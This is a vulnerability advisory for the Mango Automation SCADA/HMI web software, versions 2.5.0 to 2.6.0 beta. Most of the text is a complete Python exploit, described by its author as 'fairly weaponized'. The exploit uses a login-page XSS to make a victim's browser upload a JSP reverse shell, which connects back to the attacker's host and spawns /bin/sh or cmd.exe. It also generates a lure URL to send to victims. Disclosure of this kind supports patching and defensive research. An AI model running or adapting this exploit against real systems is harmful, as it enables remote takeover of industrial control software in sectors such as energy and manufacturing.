SSD Advisory – Infinite Automation Systems Mango Cross Site Scripting and Arbitrary File Upload

Introduction
Infinite Automation Systems is headquartered in Lafayette, Colorado.
The affected product, Mango Automation, is a centralized web-based SCADA/HMI and data acquisition software. According to Infinite Automation Systems, Mango Automation is deployed across several sectors including Commercial Facilities, Critical Manufacturing, Food and Agriculture, and Energy. Infinite Automation Systems estimates that these products are used worldwide.
Vulnerable Versions
Mango Automation version 2.5.0 through Version 2.6.0 beta (builds prior to 430)
Vulnerability Description
Improper verification of uploaded image files allows arbitrary files to be uploaded, which may allow for the execution of malicious JSP script files. In addition, the application does not verify HTTP requests, causing it to be vulnerable to a cross site scripting vulnerability.

Vendor Response
Infinite Automation Systems has released a new version of the Mango Automation application, Version 2.6.0 (build 430), which addresses all but two of the identified vulnerabilities—OS Command Injection and Cross-site Request Forgery vulnerabilities. Infinite Automation Systems is working to develop a new version that addresses these remaining two vulnerabilities, which is expected in December 2015.
Exploit

#!/usr/bin/python
"""
Mango CMS suffers from a Cross Site Scripting vulnerability and a file upload vulnerability
Notes:
- There is an XSS vuln in the login.htm page that can be used to inject javascript script.
- Granted you need to be authenticated for the file upload, but you only need to be a low privlidged user.
- Authenication can be bypassed by abusing the Cross Site Scripting vulnerability.
Please patch this ASAP
This is a fairly weaponized exploit to demonstrate how serious this is.
Kind regards,
"""
import sys
import urllib
import urllib2
import socket
import fcntl
import struct
import requests
import json
from optparse import OptionParser
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
from time import sleep
from base64 import b64encode
import os
usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.116.134 -P 8081 -i vmnet8"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target", help="The target server <server:port>")
parser.add_option("-P", type="int", action="store", dest="localport", help="The local port to have the HTTP server on")
parser.add_option("-i", type="string", action="store", dest="interface", help="The interface to connect back on")
(options, args) = parser.parse_args()
def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        s.fileno(),
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', ifname[:15])
    )[20:24])
# some variables
jspkode = ("""
<%@page import=\\"java.lang.*\\"%>
<%@page import=\\"java.util.*\\"%>
<%@page import=\\"java.io.*\\"%>
<%@page import=\\"java.net.*\\"%>
<%
  class StreamConnector extends Thread
  {
    InputStream ri;
    OutputStream sp;
    StreamConnector( InputStream ri, OutputStream sp )
    {
      this.ri = ri;
      this.sp = sp;
    }
    public void run()
    {
      BufferedReader uy  = null;
      BufferedWriter yhi = null;
      try
      {
        uy  = new BufferedReader( new InputStreamReader( this.ri ) );
        yhi = new BufferedWriter( new OutputStreamWriter( this.sp ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = uy.read( buffer, 0, buffer.length ) ) > 0 )
        {
          yhi.write( buffer, 0, length );
          yhi.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( uy != null )
          uy.close();
        if( yhi != null )
          yhi.close();
      } catch( Exception e ){}
    }
  }
  try
  {
    String ShellPath;
if (System.getProperty(\\"os.name\\").toLowerCase().indexOf(\\"windows\\") == -1) {
  ShellPath = new String(\\"/bin/sh\\");
} else {
  ShellPath = new String(\\"cmd.exe\\");
}
    Socket socket = new Socket( \\"[connectback]\\", 1337 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  }  catch( Exception e ) {}
%>
""").replace("[connectback]", get_ip_address("vmnet8"))
def banner():
    print ("\n\t| --------------------------------------------------------- |")
    print ("\t| Mango Automation xss/upload remote code execution exploit |")
    print ("\t| found by mr_me ------------------------------------------ |\n")
def test_proxy():
	check = 1
	sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
	sys.stdout.flush()
	try:
		req = urllib2.Request("http://www.google.com/")
		req.set_proxy(options.proxy,"http")
		check = urllib2.urlopen(req)
	except:
		check = 0
		pass
	if check != 0:
		sys.stdout.write("proxy is found to be working!\n")
		sys.stdout.flush()
	else:
		print ("proxy failed, exiting..")
		sys.exit(1)
def submit_request(exploit, header=None, data=None):
	try:
		if header != None:
			headers = {}
			headers['Hax'] = header
		if data != None:
			data = urllib.urlencode(data)
		req = urllib2.Request("http://"+exploit, data, headers)
		if options.proxy:
			req.set_proxy(options.proxy,"http")
		check = urllib2.urlopen(req).read()
	except urllib.error.HTTPError, error:
		check = error.read()
	except urllib.error.URLError:
		print ("(-) Target connection failed, check your address")
		sys.exit(1)
	return check
def check_request(req):
	req = urllib2.Request(req)
	if options.proxy:
		req.set_proxy(options.proxy,"http")
	return urllib2.urlopen(req).code
# who knows where the shell is?
def pwn():
	for i in range(1, 50):
		try:
			check_request("http://%s:8080/modules/graphicalViews/web/graphicalViewUploads/%s.jsp" % (options.target, i))
		except:
			pass
class myRequestHandler(BaseHTTPRequestHandler):
	def do_GET(self):
		self.printCustomHTTPResponse(200)
		if self.path == "/":
			target=self.client_address[0]
			self.response = """
var target = 'http://[targethost]:8080/graphicalViewsBackgroundUpload';
function file_upload(file_data, filename) {
    var file_size = file_data.length,
    boundary = "---------------------------270883142628617",
    uri = target;
    xhr = new XMLHttpRequest();
    xhr.open("POST", uri, true);
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
    xhr.setRequestHeader("Content-Length", file_size);
    xhr.withCredentials = "true";
    var body = "";
    body += add_file_field(file_data, filename, boundary);
    body += "--" + boundary + "--";
    xhr.send(body);
    return true;
}
function add_file_field(value, filename, boundary) {
    var c = "--" + boundary + "\\r\\n"
    c += 'Content-Disposition: form-data; name="backgroundImage"; filename="' + filename + '"\\r\\n';
    c += "Content-Type: application/x-httpd-php\\r\\n\\r\\n";
    c += value + "\\r\\n";
    return c;
}
function start() {
    file_upload("[jspkode]", "itdoesntmatterhaxme.jsp");
}
start();"""
			self.response = self.response.replace("[targethost]",options.target)
			self.response = self.response.replace("[jspkode]", "".join(jspkode.splitlines()))
			self.wfile.write(self.response)
        		print ("\n(+) Exploit sent to the client target %s attacking %s." % (target,options.target))
			sleep(2) # let the target get exploited, sheesh.
			pwn()
	def printCustomHTTPResponse(self, respcode):
		self.send_response(respcode)
		self.send_header("Content-type", "text/html")
		self.send_header("Server", "myRequestHandler")
		self.end_headers()
def main():
	# checks
	if len(sys.argv) <= 8:
		banner()
		parser.print_help()
		sys.exit(1)
	if not options.localport:
		port = 8080
	else:
		port = int(options.localport)
	httpd = HTTPServer(('', port), myRequestHandler)
	print (
	"""\n\t\t+====================================================+
	\t| Mango Automation xss/remote code execution exploit |
	\t| Found by: mr_me	                             |
	\t+====================================================+""")
	if options.proxy:
        	test_proxy()
	print ("(+) Listening on local port %d." % port)
	print ("(+) Start a local listener on 1337")
	url = "http://%s:8080/login.htm?username=\"><script src='http://%s:%s/'></script>" % (str(options.target), socket.gethostbyname(socket.gethostname()), port)
	print ("(+) Have someone connect to you at: %s" % url)
	print ("\nType <ctrl>-c to exit..\n")
	try:
		httpd.handle_request()
		httpd.serve_forever()
	except KeyboardInterrupt:
		print ("(-) Exiting Exploit.")
		sys.exit(1)
if __name__ == "__main__":
	main()